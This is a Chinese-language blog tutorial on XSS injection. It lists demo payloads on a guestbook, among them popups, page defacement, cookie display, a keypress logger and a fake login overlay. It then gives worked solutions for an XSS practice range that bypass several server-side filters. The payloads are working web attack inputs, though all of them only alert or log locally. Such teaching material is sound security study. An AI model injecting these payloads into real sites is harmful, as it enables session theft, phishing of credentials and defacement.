1.18 XSS注入攻击

xss攻击

示例:网络留言板

示例网站:网络安全演示 - 留言板

xss攻击,日常弹窗alert()只是我们测试危害的一种方式

xss攻击的本质,是让人家的浏览器去因为你找到的网站漏洞去运行恶意js代码

测试弹窗,有很多时候弹窗种类多种多样

下面是示例注入代码:

  1. js弹窗
1
<script>alert(1)</script>
  1. 基于图片报错弹窗
1
<img src=x onerror="alert(1)" />
  1. 基于图片报错篡改网页
1
<img src=x onerror="document.body.innerHTML='<h1 style=color:red;padding:50px;>haha wocao</h1>'" />
  1. 基于矢量图网页加载时弹窗
1
<svg onload="alert(1)" />
  1. 基于iframe容器网页加载时弹窗
1
<iframe onload="alert(1)"></iframe>
  1. 基于iframe容器在网页中加载其他网页
1
<iframe src="https://www.baidu.com" onload="alert(1)"></iframe>
  1. 鼠标掠过时弹窗
1
<div onmouseover="alert(1)">点我抽奖</div>
  1. 基于图片报错弹窗cookie信息
1
<img src=x onerror="alert('Cookie: ' + document.cookie)">
  1. 基于图片报错的键盘检测
1
<img src=x onerror="document.addEventListener('keypress',function(e){console.log('按键:'+e.key)});">
  1. 基于图片报错的伪装登录页面
1
<img src=x onerror="var d=document;d.body.innerHTML='<div style=position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;display:flex;align-items:center;justify-content:center><div style=background:white;padding:30px;border-radius:10px;text-align:center><h2>系统提示</h2><p>您的账户存在异常,请重新登录</p><input type=text placeholder=用户名 id=u style=margin:10px;padding:10px;width:200px><input type=password placeholder=密码 id=p style=margin:10px;padding:10px;width:200px><button onclick=var u=document.getElementById(String.fromCharCode(117));var p=document.getElementById(String.fromCharCode(112));alert(String.fromCharCode(29992,25143,21517,58)+u.value+String.fromCharCode(10,23494,30721,58)+p.value);this.parentElement.parentElement.remove() style=margin:10px;padding:10px 20px;background:#667eea;color:white;border:none;border-radius:5px;cursor:pointer>登录</button></div></div>'">

练习题

链接:练习靶场

讲解(部分)

  1. 0x04

server code:

1
2
3
4
5
function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

可以看到服务端对输入的字符串中() 全部进行了删除,所以我们这里要使用html特有的实体编号来代替,因为()对应的实体编号分别是40、41,在引用时使用&#编号;`格式

所以有示例答案:

1
<img src=x onerror="alert&#40;1&#41;">

更多html实体编码请查:HTML ASCII 字符完整对照表

  1. 0x06

server code:

1
2
3
4
function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

服务端屏蔽了auto(不论大小写)、on开头=结尾的字符串、>三种元素

这里我们借助html语言松散的特点

1
2
onclick
="alert(1)"

点击一下上面的文字1就可以了

  1. 0x08

server code:

1
2
3
4
5
6
7
8
function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

可以看到服务端对</style>进行了屏蔽,这里我们利用html的特性把标签拆开

1
2
3
4
</style
>
  <script>alert(1)</script>
  <style>
  1. 0x0B

server code:

1
2
3
4
function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

可以看到服务端把所有小写字母都转为了大写字母,这里我们利用js函数大小写敏感但是html标签大小写不敏感的特性,从外部调用js代码,我们新建一个abc.js文件,写入alert(1);将文件放在phpstudy的网页根目录,

1
</h1><script src="http://127.0.0.1/abc.js"></script><h1>
  1. 0x0D

server code:

1
2
3
4
5
6
7
8
function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

注意到服务端屏蔽了</"',并且文本被放在一个很尴尬的位置:

1
2
3
<script>
          // alert('文本在这里')
    </script>

所以我们先换行逃出注释,再写出alert(1)的主函数,最后用-->来屏蔽后边剩余的')

  1. 0x0F

server code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

服务端伪屏蔽(将字符转为了html实体编号,不影响计算机读取)了很多字符,这里我们正常操作将可以闭合的部分闭合,不同元素之间用;断开,注意利用//注释掉不必要的部分

1
2
3
' );alert(1)//

屏蔽前长这样<img src onerror="console.error('' );alert(1)//')">  
  1. 0x12

server code:

1
2
3
4
5
// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

这里针对"进行了屏蔽:将"替换为\",也就是变为普通引号,先重点在于将前面的("闭合,将\加再替换后的",也就是\"前就会使对引号的转义失效(\\"结构),从而成功闭合

1
21\");alert(1)</script>

填入后长这样<script>console.log("21\\");alert(1)</script>");</script>

Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS